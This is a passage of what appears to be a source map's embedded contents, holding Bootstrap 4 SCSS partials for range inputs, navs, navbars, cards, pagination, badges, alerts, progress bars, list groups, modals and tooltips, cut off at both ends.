@include border-radius($custom-range-track-border-radius);\n @include box-shadow($custom-range-track-box-shadow);\n }\n\n &::-moz-range-thumb {\n width: $custom-range-thumb-width;\n height: $custom-range-thumb-height;\n @include gradient-bg($custom-range-thumb-bg);\n border: $custom-range-thumb-border;\n @include border-radius($custom-range-thumb-border-radius);\n @include box-shadow($custom-range-thumb-box-shadow);\n appearance: none;\n\n &:focus {\n outline: none;\n box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n }\n\n &:active {\n @include gradient-bg($custom-range-thumb-active-bg);\n }\n }\n\n &::-moz-range-track {\n width: $custom-range-track-width;\n height: $custom-range-track-height;\n color: transparent;\n cursor: $custom-range-track-cursor;\n background-color: $custom-range-track-bg;\n border-color: transparent; // Firefox specific?\n @include border-radius($custom-range-track-border-radius);\n @include box-shadow($custom-range-track-box-shadow);\n }\n\n &::-ms-thumb {\n width: $custom-range-thumb-width;\n height: $custom-range-thumb-height;\n @include gradient-bg($custom-range-thumb-bg);\n border: $custom-range-thumb-border;\n @include border-radius($custom-range-thumb-border-radius);\n @include box-shadow($custom-range-thumb-box-shadow);\n appearance: none;\n\n &:focus {\n outline: none;\n box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n }\n\n &:active {\n @include gradient-bg($custom-range-thumb-active-bg);\n }\n }\n\n &::-ms-track {\n width: $custom-range-track-width;\n height: $custom-range-track-height;\n color: transparent;\n cursor: $custom-range-track-cursor;\n background-color: transparent;\n border-color: transparent;\n border-width: ($custom-range-thumb-height * .5);\n @include box-shadow($custom-range-track-box-shadow);\n }\n\n &::-ms-fill-lower {\n background-color: $custom-range-track-bg;\n @include border-radius($custom-range-track-border-radius);\n }\n\n &::-ms-fill-upper {\n margin-right: 15px; // arbitrary?\n background-color: $custom-range-track-bg;\n @include border-radius($custom-range-track-border-radius);\n }\n}\n","// Base class\n//\n// Kickstart any navigation component with a set of style resets. Works with\n// `<nav>`s or `<ul>`s.\n\n.nav {\n display: flex;\n flex-wrap: wrap;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.nav-link {\n display: block;\n padding: $nav-link-padding-y $nav-link-padding-x;\n\n @include hover-focus {\n text-decoration: none;\n }\n\n // Disabled state lightens text\n &.disabled {\n color: $nav-link-disabled-color;\n }\n}\n\n//\n// Tabs\n//\n\n.nav-tabs {\n border-bottom: $nav-tabs-border-width solid $nav-tabs-border-color;\n\n .nav-item {\n margin-bottom: -$nav-tabs-border-width;\n }\n\n .nav-link {\n border: $nav-tabs-border-width solid transparent;\n @include border-top-radius($nav-tabs-border-radius);\n\n @include hover-focus {\n border-color: $nav-tabs-link-hover-border-color;\n }\n\n &.disabled {\n color: $nav-link-disabled-color;\n background-color: transparent;\n border-color: transparent;\n }\n }\n\n .nav-link.active,\n .nav-item.show .nav-link {\n color: $nav-tabs-link-active-color;\n background-color: $nav-tabs-link-active-bg;\n border-color: $nav-tabs-link-active-border-color;\n }\n\n .dropdown-menu {\n // Make dropdown border overlap tab border\n margin-top: -$nav-tabs-border-width;\n // Remove the top rounded corners here since there is a hard edge above the menu\n @include border-top-radius(0);\n }\n}\n\n\n//\n// Pills\n//\n\n.nav-pills {\n .nav-link {\n @include border-radius($nav-pills-border-radius);\n }\n\n .nav-link.active,\n .show > .nav-link {\n color: $nav-pills-link-active-color;\n background-color: $nav-pills-link-active-bg;\n }\n}\n\n\n//\n// Justified variants\n//\n\n.nav-fill {\n .nav-item {\n flex: 1 1 auto;\n text-align: center;\n }\n}\n\n.nav-justified {\n .nav-item {\n flex-basis: 0;\n flex-grow: 1;\n text-align: center;\n }\n}\n\n\n// Tabbable tabs\n//\n// Hide tabbable panes to start, show them when `.active`\n\n.tab-content {\n > .tab-pane {\n display: none;\n }\n > .active {\n display: block;\n }\n}\n","// Contents\n//\n// Navbar\n// Navbar brand\n// Navbar nav\n// Navbar text\n// Navbar divider\n// Responsive navbar\n// Navbar position\n// Navbar themes\n\n\n// Navbar\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n position: relative;\n display: flex;\n flex-wrap: wrap; // allow us to do the line break for collapsing content\n align-items: center;\n justify-content: space-between; // space out brand from logo\n padding: $navbar-padding-y $navbar-padding-x;\n\n // Because flex properties aren't inherited, we need to redeclare these first\n // few properities so that content nested within behave properly.\n > .container,\n > .container-fluid {\n display: flex;\n flex-wrap: wrap;\n align-items: center;\n justify-content: space-between;\n }\n}\n\n\n// Navbar brand\n//\n// Used for brand, project, or site names.\n\n.navbar-brand {\n display: inline-block;\n padding-top: $navbar-brand-padding-y;\n padding-bottom: $navbar-brand-padding-y;\n margin-right: $navbar-padding-x;\n font-size: $navbar-brand-font-size;\n line-height: inherit;\n white-space: nowrap;\n\n @include hover-focus {\n text-decoration: none;\n }\n}\n\n\n// Navbar nav\n//\n// Custom navbar navigation (doesn't require `.nav`, but does make use of `.nav-link`).\n\n.navbar-nav {\n display: flex;\n flex-direction: column; // cannot use `inherit` to get the `.navbar`s value\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n\n .nav-link {\n padding-right: 0;\n padding-left: 0;\n }\n\n .dropdown-menu {\n position: static;\n float: none;\n }\n}\n\n\n// Navbar text\n//\n//\n\n.navbar-text {\n display: inline-block;\n padding-top: $nav-link-padding-y;\n padding-bottom: $nav-link-padding-y;\n}\n\n\n// Responsive navbar\n//\n// Custom styles for responsive collapsing and toggling of navbar contents.\n// Powered by the collapse Bootstrap JavaScript plugin.\n\n// When collapsed, prevent the toggleable navbar contents from appearing in\n// the default flexbox row orienation. Requires the use of `flex-wrap: wrap`\n// on the `.navbar` parent.\n.navbar-collapse {\n flex-basis: 100%;\n flex-grow: 1;\n // For always expanded or extra full navbars, ensure content aligns itself\n // properly vertically. Can be easily overridden with flex utilities.\n align-items: center;\n}\n\n// Button for toggling the navbar when in its collapsed state\n.navbar-toggler {\n padding: $navbar-toggler-padding-y $navbar-toggler-padding-x;\n font-size: $navbar-toggler-font-size;\n line-height: 1;\n background-color: transparent; // remove default button style\n border: $border-width solid transparent; // remove default button style\n @include border-radius($navbar-toggler-border-radius);\n\n @include hover-focus {\n text-decoration: none;\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .navbar-toggler elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n}\n\n// Keep as a separate element so folks can easily override it with another icon\n// or image file as needed.\n.navbar-toggler-icon {\n display: inline-block;\n width: 1.5em;\n height: 1.5em;\n vertical-align: middle;\n content: \"\";\n background: no-repeat center center;\n background-size: 100% 100%;\n}\n\n// Generate series of `.navbar-expand-*` responsive classes for configuring\n// where your navbar collapses.\n.navbar-expand {\n @each $breakpoint in map-keys($grid-breakpoints) {\n $next: breakpoint-next($breakpoint, $grid-breakpoints);\n $infix: breakpoint-infix($next, $grid-breakpoints);\n\n &#{$infix} {\n @include media-breakpoint-down($breakpoint) {\n > .container,\n > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n }\n\n @include media-breakpoint-up($next) {\n flex-flow: row nowrap;\n justify-content: flex-start;\n\n .navbar-nav {\n flex-direction: row;\n\n .dropdown-menu {\n position: absolute;\n }\n\n .nav-link {\n padding-right: $navbar-nav-link-padding-x;\n padding-left: $navbar-nav-link-padding-x;\n }\n }\n\n // For nesting containers, have to redeclare for alignment purposes\n > .container,\n > .container-fluid {\n flex-wrap: nowrap;\n }\n\n .navbar-collapse {\n display: flex !important; // stylelint-disable-line declaration-no-important\n\n // Changes flex-bases to auto because of an IE10 bug\n flex-basis: auto;\n }\n\n .navbar-toggler {\n display: none;\n }\n }\n }\n }\n}\n\n\n// Navbar themes\n//\n// Styles for switching between navbars with light or dark background.\n\n// Dark links against a light background\n.navbar-light {\n .navbar-brand {\n color: $navbar-light-active-color;\n\n @include hover-focus {\n color: $navbar-light-active-color;\n }\n }\n\n .navbar-nav {\n .nav-link {\n color: $navbar-light-color;\n\n @include hover-focus {\n color: $navbar-light-hover-color;\n }\n\n &.disabled {\n color: $navbar-light-disabled-color;\n }\n }\n\n .show > .nav-link,\n .active > .nav-link,\n .nav-link.show,\n .nav-link.active {\n color: $navbar-light-active-color;\n }\n }\n\n .navbar-toggler {\n color: $navbar-light-color;\n border-color: $navbar-light-toggler-border-color;\n }\n\n .navbar-toggler-icon {\n background-image: $navbar-light-toggler-icon-bg;\n }\n\n .navbar-text {\n color: $navbar-light-color;\n a {\n color: $navbar-light-active-color;\n\n @include hover-focus {\n color: $navbar-light-active-color;\n }\n }\n }\n}\n\n// White links against a dark background\n.navbar-dark {\n .navbar-brand {\n color: $navbar-dark-active-color;\n\n @include hover-focus {\n color: $navbar-dark-active-color;\n }\n }\n\n .navbar-nav {\n .nav-link {\n color: $navbar-dark-color;\n\n @include hover-focus {\n color: $navbar-dark-hover-color;\n }\n\n &.disabled {\n color: $navbar-dark-disabled-color;\n }\n }\n\n .show > .nav-link,\n .active > .nav-link,\n .nav-link.show,\n .nav-link.active {\n color: $navbar-dark-active-color;\n }\n }\n\n .navbar-toggler {\n color: $navbar-dark-color;\n border-color: $navbar-dark-toggler-border-color;\n }\n\n .navbar-toggler-icon {\n background-image: $navbar-dark-toggler-icon-bg;\n }\n\n .navbar-text {\n color: $navbar-dark-color;\n a {\n color: $navbar-dark-active-color;\n\n @include hover-focus {\n color: $navbar-dark-active-color;\n }\n }\n }\n}\n","//\n// Base styles\n//\n\n.card {\n position: relative;\n display: flex;\n flex-direction: column;\n min-width: 0;\n word-wrap: break-word;\n background-color: $card-bg;\n background-clip: border-box;\n border: $card-border-width solid $card-border-color;\n @include border-radius($card-border-radius);\n\n > hr {\n margin-right: 0;\n margin-left: 0;\n }\n\n > .list-group:first-child {\n .list-group-item:first-child {\n @include border-top-radius($card-border-radius);\n }\n }\n\n > .list-group:last-child {\n .list-group-item:last-child {\n @include border-bottom-radius($card-border-radius);\n }\n }\n}\n\n.card-body {\n // Enable `flex-grow: 1` for decks and groups so that card blocks take up\n // as much space as possible, ensuring footers are aligned to the bottom.\n flex: 1 1 auto;\n padding: $card-spacer-x;\n}\n\n.card-title {\n margin-bottom: $card-spacer-y;\n}\n\n.card-subtitle {\n margin-top: -($card-spacer-y / 2);\n margin-bottom: 0;\n}\n\n.card-text:last-child {\n margin-bottom: 0;\n}\n\n.card-link {\n @include hover {\n text-decoration: none;\n }\n\n + .card-link {\n margin-left: $card-spacer-x;\n }\n}\n\n//\n// Optional textual caps\n//\n\n.card-header {\n padding: $card-spacer-y $card-spacer-x;\n margin-bottom: 0; // Removes the default margin-bottom of <hN>\n background-color: $card-cap-bg;\n border-bottom: $card-border-width solid $card-border-color;\n\n &:first-child {\n @include border-radius($card-inner-border-radius $card-inner-border-radius 0 0);\n }\n\n + .list-group {\n .list-group-item:first-child {\n border-top: 0;\n }\n }\n}\n\n.card-footer {\n padding: $card-spacer-y $card-spacer-x;\n background-color: $card-cap-bg;\n border-top: $card-border-width solid $card-border-color;\n\n &:last-child {\n @include border-radius(0 0 $card-inner-border-radius $card-inner-border-radius);\n }\n}\n\n\n//\n// Header navs\n//\n\n.card-header-tabs {\n margin-right: -($card-spacer-x / 2);\n margin-bottom: -$card-spacer-y;\n margin-left: -($card-spacer-x / 2);\n border-bottom: 0;\n}\n\n.card-header-pills {\n margin-right: -($card-spacer-x / 2);\n margin-left: -($card-spacer-x / 2);\n}\n\n// Card image\n.card-img-overlay {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n padding: $card-img-overlay-padding;\n}\n\n.card-img {\n width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n @include border-radius($card-inner-border-radius);\n}\n\n// Card image caps\n.card-img-top {\n width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n @include border-top-radius($card-inner-border-radius);\n}\n\n.card-img-bottom {\n width: 100%; // Required because we use flexbox and this inherently applies align-self: stretch\n @include border-bottom-radius($card-inner-border-radius);\n}\n\n\n// Card deck\n\n.card-deck {\n display: flex;\n flex-direction: column;\n\n .card {\n margin-bottom: $card-deck-margin;\n }\n\n @include media-breakpoint-up(sm) {\n flex-flow: row wrap;\n margin-right: -$card-deck-margin;\n margin-left: -$card-deck-margin;\n\n .card {\n display: flex;\n // Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n flex: 1 0 0%;\n flex-direction: column;\n margin-right: $card-deck-margin;\n margin-bottom: 0; // Override the default\n margin-left: $card-deck-margin;\n }\n }\n}\n\n\n//\n// Card groups\n//\n\n.card-group {\n display: flex;\n flex-direction: column;\n\n // The child selector allows nested `.card` within `.card-group`\n // to display properly.\n > .card {\n margin-bottom: $card-group-margin;\n }\n\n @include media-breakpoint-up(sm) {\n flex-flow: row wrap;\n // The child selector allows nested `.card` within `.card-group`\n // to display properly.\n > .card {\n // Flexbugs #4: https://github.com/philipwalton/flexbugs#flexbug-4\n flex: 1 0 0%;\n margin-bottom: 0;\n\n + .card {\n margin-left: 0;\n border-left: 0;\n }\n\n // Handle rounded corners\n @if $enable-rounded {\n &:first-child {\n @include border-right-radius(0);\n\n .card-img-top,\n .card-header {\n border-top-right-radius: 0;\n }\n .card-img-bottom,\n .card-footer {\n border-bottom-right-radius: 0;\n }\n }\n\n &:last-child {\n @include border-left-radius(0);\n\n .card-img-top,\n .card-header {\n border-top-left-radius: 0;\n }\n .card-img-bottom,\n .card-footer {\n border-bottom-left-radius: 0;\n }\n }\n\n &:only-child {\n @include border-radius($card-border-radius);\n\n .card-img-top,\n .card-header {\n @include border-top-radius($card-border-radius);\n }\n .card-img-bottom,\n .card-footer {\n @include border-bottom-radius($card-border-radius);\n }\n }\n\n &:not(:first-child):not(:last-child):not(:only-child) {\n @include border-radius(0);\n\n .card-img-top,\n .card-img-bottom,\n .card-header,\n .card-footer {\n @include border-radius(0);\n }\n }\n }\n }\n }\n}\n\n\n//\n// Columns\n//\n\n.card-columns {\n .card {\n margin-bottom: $card-columns-margin;\n }\n\n @include media-breakpoint-up(sm) {\n column-count: $card-columns-count;\n column-gap: $card-columns-gap;\n orphans: 1;\n widows: 1;\n\n .card {\n display: inline-block; // Don't let them vertically span multiple columns\n width: 100%; // Don't let their width change\n }\n }\n}\n\n\n//\n// Accordion\n//\n\n.accordion {\n .card:not(:first-of-type):not(:last-of-type) {\n border-bottom: 0;\n border-radius: 0;\n }\n\n .card:not(:first-of-type) {\n .card-header:first-child {\n border-radius: 0;\n }\n }\n\n .card:first-of-type {\n border-bottom: 0;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n }\n\n .card:last-of-type {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n }\n}\n",".breadcrumb {\n display: flex;\n flex-wrap: wrap;\n padding: $breadcrumb-padding-y $breadcrumb-padding-x;\n margin-bottom: $breadcrumb-margin-bottom;\n list-style: none;\n background-color: $breadcrumb-bg;\n @include border-radius($breadcrumb-border-radius);\n}\n\n.breadcrumb-item {\n // The separator between breadcrumbs (by default, a forward-slash: \"/\")\n + .breadcrumb-item {\n padding-left: $breadcrumb-item-padding;\n\n &::before {\n display: inline-block; // Suppress underlining of the separator in modern browsers\n padding-right: $breadcrumb-item-padding;\n color: $breadcrumb-divider-color;\n content: $breadcrumb-divider;\n }\n }\n\n // IE9-11 hack to properly handle hyperlink underlines for breadcrumbs built\n // without `<ul>`s. The `::before` pseudo-element generates an element\n // *within* the .breadcrumb-item and thereby inherits the `text-decoration`.\n //\n // To trick IE into suppressing the underline, we give the pseudo-element an\n // underline and then immediately remove it.\n + .breadcrumb-item:hover::before {\n text-decoration: underline;\n }\n // stylelint-disable-next-line no-duplicate-selectors\n + .breadcrumb-item:hover::before {\n text-decoration: none;\n }\n\n &.active {\n color: $breadcrumb-active-color;\n }\n}\n",".pagination {\n display: flex;\n @include list-unstyled();\n @include border-radius();\n}\n\n.page-link {\n position: relative;\n display: block;\n padding: $pagination-padding-y $pagination-padding-x;\n margin-left: -$pagination-border-width;\n line-height: $pagination-line-height;\n color: $pagination-color;\n background-color: $pagination-bg;\n border: $pagination-border-width solid $pagination-border-color;\n\n &:hover {\n z-index: 2;\n color: $pagination-hover-color;\n text-decoration: none;\n background-color: $pagination-hover-bg;\n border-color: $pagination-hover-border-color;\n }\n\n &:focus {\n z-index: 2;\n outline: $pagination-focus-outline;\n box-shadow: $pagination-focus-box-shadow;\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .page-link elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n}\n\n.page-item {\n &:first-child {\n .page-link {\n margin-left: 0;\n @include border-left-radius($border-radius);\n }\n }\n &:last-child {\n .page-link {\n @include border-right-radius($border-radius);\n }\n }\n\n &.active .page-link {\n z-index: 1;\n color: $pagination-active-color;\n background-color: $pagination-active-bg;\n border-color: $pagination-active-border-color;\n }\n\n &.disabled .page-link {\n color: $pagination-disabled-color;\n pointer-events: none;\n // Opinionated: remove the \"hand\" cursor set previously for .page-link\n cursor: auto;\n background-color: $pagination-disabled-bg;\n border-color: $pagination-disabled-border-color;\n }\n}\n\n\n//\n// Sizing\n//\n\n.pagination-lg {\n @include pagination-size($pagination-padding-y-lg, $pagination-padding-x-lg, $font-size-lg, $line-height-lg, $border-radius-lg);\n}\n\n.pagination-sm {\n @include pagination-size($pagination-padding-y-sm, $pagination-padding-x-sm, $font-size-sm, $line-height-sm, $border-radius-sm);\n}\n","// Pagination\n\n@mixin pagination-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n .page-link {\n padding: $padding-y $padding-x;\n font-size: $font-size;\n line-height: $line-height;\n }\n\n .page-item {\n &:first-child {\n .page-link {\n @include border-left-radius($border-radius);\n }\n }\n &:last-child {\n .page-link {\n @include border-right-radius($border-radius);\n }\n }\n }\n}\n","// Base class\n//\n// Requires one of the contextual, color modifier classes for `color` and\n// `background-color`.\n\n.badge {\n display: inline-block;\n padding: $badge-padding-y $badge-padding-x;\n font-size: $badge-font-size;\n font-weight: $badge-font-weight;\n line-height: 1;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n @include border-radius($badge-border-radius);\n\n // Empty badges collapse automatically\n &:empty {\n display: none;\n }\n}\n\n// Quick fix for badges in buttons\n.btn .badge {\n position: relative;\n top: -1px;\n}\n\n// Pill badges\n//\n// Make them extra rounded with a modifier to replace v3's badges.\n\n.badge-pill {\n padding-right: $badge-pill-padding-x;\n padding-left: $badge-pill-padding-x;\n @include border-radius($badge-pill-border-radius);\n}\n\n// Colors\n//\n// Contextual variations (linked badges get darker on :hover).\n\n@each $color, $value in $theme-colors {\n .badge-#{$color} {\n @include badge-variant($value);\n }\n}\n","@mixin badge-variant($bg) {\n color: color-yiq($bg);\n background-color: $bg;\n\n &[href] {\n @include hover-focus {\n color: color-yiq($bg);\n text-decoration: none;\n background-color: darken($bg, 10%);\n }\n }\n}\n",".jumbotron {\n padding: $jumbotron-padding ($jumbotron-padding / 2);\n margin-bottom: $jumbotron-padding;\n background-color: $jumbotron-bg;\n @include border-radius($border-radius-lg);\n\n @include media-breakpoint-up(sm) {\n padding: ($jumbotron-padding * 2) $jumbotron-padding;\n }\n}\n\n.jumbotron-fluid {\n padding-right: 0;\n padding-left: 0;\n @include border-radius(0);\n}\n","//\n// Base styles\n//\n\n.alert {\n position: relative;\n padding: $alert-padding-y $alert-padding-x;\n margin-bottom: $alert-margin-bottom;\n border: $alert-border-width solid transparent;\n @include border-radius($alert-border-radius);\n}\n\n// Headings for larger alerts\n.alert-heading {\n // Specified to prevent conflicts of changing $headings-color\n color: inherit;\n}\n\n// Provide class for links that match alerts\n.alert-link {\n font-weight: $alert-link-font-weight;\n}\n\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissible {\n padding-right: ($close-font-size + $alert-padding-x * 2);\n\n // Adjust close link position\n .close {\n position: absolute;\n top: 0;\n right: 0;\n padding: $alert-padding-y $alert-padding-x;\n color: inherit;\n }\n}\n\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n@each $color, $value in $theme-colors {\n .alert-#{$color} {\n @include alert-variant(theme-color-level($color, $alert-bg-level), theme-color-level($color, $alert-border-level), theme-color-level($color, $alert-color-level));\n }\n}\n","@mixin alert-variant($background, $border, $color) {\n color: $color;\n @include gradient-bg($background);\n border-color: $border;\n\n hr {\n border-top-color: darken($border, 5%);\n }\n\n .alert-link {\n color: darken($color, 10%);\n }\n}\n","@keyframes progress-bar-stripes {\n from { background-position: $progress-height 0; }\n to { background-position: 0 0; }\n}\n\n.progress {\n display: flex;\n height: $progress-height;\n overflow: hidden; // force rounded corners by cropping it\n font-size: $progress-font-size;\n background-color: $progress-bg;\n @include border-radius($progress-border-radius);\n @include box-shadow($progress-box-shadow);\n}\n\n.progress-bar {\n display: flex;\n flex-direction: column;\n justify-content: center;\n color: $progress-bar-color;\n text-align: center;\n white-space: nowrap;\n background-color: $progress-bar-bg;\n @include transition($progress-bar-transition);\n}\n\n.progress-bar-striped {\n @include gradient-striped();\n background-size: $progress-height $progress-height;\n}\n\n.progress-bar-animated {\n animation: progress-bar-stripes $progress-bar-animation-timing;\n}\n",".media {\n display: flex;\n align-items: flex-start;\n}\n\n.media-body {\n flex: 1;\n}\n","// Base class\n//\n// Easily usable on <ul>, <ol>, or <div>.\n\n.list-group {\n display: flex;\n flex-direction: column;\n\n // No need to set list-style: none; since .list-group-item is block level\n padding-left: 0; // reset padding because ul and ol\n margin-bottom: 0;\n}\n\n\n// Interactive list items\n//\n// Use anchor or button elements instead of `li`s or `div`s to create interactive\n// list items. Includes an extra `.active` modifier class for selected items.\n\n.list-group-item-action {\n width: 100%; // For `<button>`s (anchors become 100% by default though)\n color: $list-group-action-color;\n text-align: inherit; // For `<button>`s (anchors inherit)\n\n // Hover state\n @include hover-focus {\n color: $list-group-action-hover-color;\n text-decoration: none;\n background-color: $list-group-hover-bg;\n }\n\n &:active {\n color: $list-group-action-active-color;\n background-color: $list-group-action-active-bg;\n }\n}\n\n\n// Individual list items\n//\n// Use on `li`s or `div`s within the `.list-group` parent.\n\n.list-group-item {\n position: relative;\n display: block;\n padding: $list-group-item-padding-y $list-group-item-padding-x;\n // Place the border on the list items and negative margin up for better styling\n margin-bottom: -$list-group-border-width;\n background-color: $list-group-bg;\n border: $list-group-border-width solid $list-group-border-color;\n\n &:first-child {\n @include border-top-radius($list-group-border-radius);\n }\n\n &:last-child {\n margin-bottom: 0;\n @include border-bottom-radius($list-group-border-radius);\n }\n\n @include hover-focus {\n z-index: 1; // Place hover/active items above their siblings for proper border styling\n text-decoration: none;\n }\n\n &.disabled,\n &:disabled {\n color: $list-group-disabled-color;\n background-color: $list-group-disabled-bg;\n }\n\n // Include both here for `<a>`s and `<button>`s\n &.active {\n z-index: 2; // Place active items above their siblings for proper border styling\n color: $list-group-active-color;\n background-color: $list-group-active-bg;\n border-color: $list-group-active-border-color;\n }\n}\n\n\n// Flush list items\n//\n// Remove borders and border-radius to keep list group items edge-to-edge. Most\n// useful within other components (e.g., cards).\n\n.list-group-flush {\n .list-group-item {\n border-right: 0;\n border-left: 0;\n @include border-radius(0);\n }\n\n &:first-child {\n .list-group-item:first-child {\n border-top: 0;\n }\n }\n\n &:last-child {\n .list-group-item:last-child {\n border-bottom: 0;\n }\n }\n}\n\n\n// Contextual variants\n//\n// Add modifier classes to change text and background color on individual items.\n// Organizationally, this must come after the `:hover` states.\n\n@each $color, $value in $theme-colors {\n @include list-group-item-variant($color, theme-color-level($color, -9), theme-color-level($color, 6));\n}\n","// List Groups\n\n@mixin list-group-item-variant($state, $background, $color) {\n .list-group-item-#{$state} {\n color: $color;\n background-color: $background;\n\n &.list-group-item-action {\n @include hover-focus {\n color: $color;\n background-color: darken($background, 5%);\n }\n\n &.active {\n color: $white;\n background-color: $color;\n border-color: $color;\n }\n }\n }\n}\n",".close {\n float: right;\n font-size: $close-font-size;\n font-weight: $close-font-weight;\n line-height: 1;\n color: $close-color;\n text-shadow: $close-text-shadow;\n opacity: .5;\n\n @include hover-focus {\n color: $close-color;\n text-decoration: none;\n opacity: .75;\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .close elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n}\n\n// Additional properties for button version\n// iOS requires the button element instead of an anchor tag.\n// If you want the anchor version, it requires `href=\"#\"`.\n// See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile\n\n// stylelint-disable property-no-vendor-prefix, selector-no-qualifying-type\nbutton.close {\n padding: 0;\n background-color: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n// stylelint-enable\n","// .modal-open - body class for killing the scroll\n// .modal - container to scroll within\n// .modal-dialog - positioning shell for the actual modal\n// .modal-content - actual modal w/ bg and corners and stuff\n\n\n// Kill the scroll on the body\n.modal-open {\n overflow: hidden;\n}\n\n// Container that the modal scrolls within\n.modal {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: $zindex-modal;\n display: none;\n overflow: hidden;\n // Prevent Chrome on Windows from adding a focus outline. For details, see\n // https://github.com/twbs/bootstrap/pull/10951.\n outline: 0;\n // We deliberately don't use `-webkit-overflow-scrolling: touch;` due to a\n // gnarly iOS Safari bug: https://bugs.webkit.org/show_bug.cgi?id=158342\n // See also https://github.com/twbs/bootstrap/issues/17695\n\n .modal-open & {\n overflow-x: hidden;\n overflow-y: auto;\n }\n}\n\n// Shell div to position the modal with bottom padding\n.modal-dialog {\n position: relative;\n width: auto;\n margin: $modal-dialog-margin;\n // allow clicks to pass through for custom click handling to close modal\n pointer-events: none;\n\n // When fading in the modal, animate it to slide down\n .modal.fade & {\n @include transition($modal-transition);\n transform: translate(0, -25%);\n }\n .modal.show & {\n transform: translate(0, 0);\n }\n}\n\n.modal-dialog-centered {\n display: flex;\n align-items: center;\n min-height: calc(100% - (#{$modal-dialog-margin} * 2));\n}\n\n// Actual modal\n.modal-content {\n position: relative;\n display: flex;\n flex-direction: column;\n width: 100%; // Ensure `.modal-content` extends the full width of the parent `.modal-dialog`\n // counteract the pointer-events: none; in the .modal-dialog\n pointer-events: auto;\n background-color: $modal-content-bg;\n background-clip: padding-box;\n border: $modal-content-border-width solid $modal-content-border-color;\n @include border-radius($modal-content-border-radius);\n @include box-shadow($modal-content-box-shadow-xs);\n // Remove focus outline from opened modal\n outline: 0;\n}\n\n// Modal background\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: $zindex-modal-backdrop;\n background-color: $modal-backdrop-bg;\n\n // Fade for backdrop\n &.fade { opacity: 0; }\n &.show { opacity: $modal-backdrop-opacity; }\n}\n\n// Modal header\n// Top section of the modal w/ title and dismiss\n.modal-header {\n display: flex;\n align-items: flex-start; // so the close btn always stays on the upper right corner\n justify-content: space-between; // Put modal header elements (title and dismiss) on opposite ends\n padding: $modal-header-padding;\n border-bottom: $modal-header-border-width solid $modal-header-border-color;\n @include border-top-radius($modal-content-border-radius);\n\n .close {\n padding: $modal-header-padding;\n // auto on the left force icon to the right even when there is no .modal-title\n margin: (-$modal-header-padding) (-$modal-header-padding) (-$modal-header-padding) auto;\n }\n}\n\n// Title text within header\n.modal-title {\n margin-bottom: 0;\n line-height: $modal-title-line-height;\n}\n\n// Modal body\n// Where all modal content resides (sibling of .modal-header and .modal-footer)\n.modal-body {\n position: relative;\n // Enable `flex-grow: 1` so that the body take up as much space as possible\n // when should there be a fixed height on `.modal-dialog`.\n flex: 1 1 auto;\n padding: $modal-inner-padding;\n}\n\n// Footer (for actions)\n.modal-footer {\n display: flex;\n align-items: center; // vertically center\n justify-content: flex-end; // Right align buttons with flex property because text-align doesn't work on flex items\n padding: $modal-inner-padding;\n border-top: $modal-footer-border-width solid $modal-footer-border-color;\n\n // Easily place margin between footer elements\n > :not(:first-child) { margin-left: .25rem; }\n > :not(:last-child) { margin-right: .25rem; }\n}\n\n// Measure scrollbar width for padding body during modal show/hide\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n// Scale up the modal\n@include media-breakpoint-up(sm) {\n // Automatically set modal's width for larger viewports\n .modal-dialog {\n max-width: $modal-md;\n margin: $modal-dialog-margin-y-sm-up auto;\n }\n\n .modal-dialog-centered {\n min-height: calc(100% - (#{$modal-dialog-margin-y-sm-up} * 2));\n }\n\n .modal-content {\n @include box-shadow($modal-content-box-shadow-sm-up);\n }\n\n .modal-sm { max-width: $modal-sm; }\n\n}\n\n@include media-breakpoint-up(lg) {\n .modal-lg { max-width: $modal-lg; }\n}\n","// Base class\n.tooltip {\n position: absolute;\n z-index: $zindex-tooltip;\n display: block;\n margin: $tooltip-margin;\n // Our parent element can be arbitrary since tooltips are by default inserted as a sibling of their target element.\n // So reset our font and text properties to avoid inheriting weird values.\n @include reset-text();\n font-size: $tooltip-font-size;\n // Allow breaking very long words so they don't overflow the tooltip's bounds\n word-wrap: break-word;\n opacity: 0;\n\n &.show { opacity: $tooltip-opacity; }\n\n .arrow {\n position: absolute;\n display: block;\n width: $tooltip-arrow-width;\n height: $tooltip-arrow-height;\n\n &::before {\n position: absolute;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n }\n }\n}\n\n.bs-tooltip-top {\n padding: $tooltip-arrow-height 0;\n\n .arrow {\n bottom: 0;\n\n &::before {\n top: 0;\n border-width: $tooltip-arrow-height ($tooltip-arrow-width / 2) 0;\n border-top-color: $tooltip-arrow-color;\n }\n }\n}\n\n.bs-tooltip-right {\n padding: 0 $tooltip-arrow-height;\n\n .arrow {\n left: 0;\n width: $tooltip-arrow-height;\n height: $tooltip-arrow-width;\n\n &::before {\n right: 0;\n border-width: ($tooltip-arrow-width / 2) 